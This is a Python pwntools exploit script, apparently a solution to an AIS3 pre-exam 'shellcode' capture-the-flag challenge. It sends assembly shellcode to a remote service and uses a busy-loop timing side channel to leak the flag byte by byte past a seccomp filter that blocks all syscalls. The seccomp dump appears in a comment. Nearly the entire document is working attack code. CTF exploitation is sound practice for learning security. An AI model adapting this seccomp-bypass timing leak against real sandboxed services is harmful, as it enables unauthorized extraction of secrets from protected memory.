shellcode-2019.py

#!/usr/bin/env python
from pwn import *
import string , time

context.arch = 'amd64'


host = 'pre-exam-pwn.ais3.org'


'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x03 0xc000003e  if (A != ARCH_X86_64) goto 0005
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x00 0xffffffff  /* no-op */
 0005: 0x06 0x00 0x00 0x00000000  return KILL
'''

pool = string.ascii_lowercase + string.digits + '{}_ !:?' + string.ascii_uppercase

flag = ''

for i in range( 0x100 ):
    for c in pool:

        y = remote( host , 10004 )

        sc = asm('''
            add r12, %s
            cmp byte ptr [r12], %s
        y: 
            je y
        ''' % ( hex( 0x201690 + i ) , ord( c ) ) )

        y.sendafter( 'shellcode.' , sc )

        t = time.time()
        y.recvall( timeout = 1.5 )

        if time.time() - t > 1:
            flag += c
            print flag
            break




y.interactive()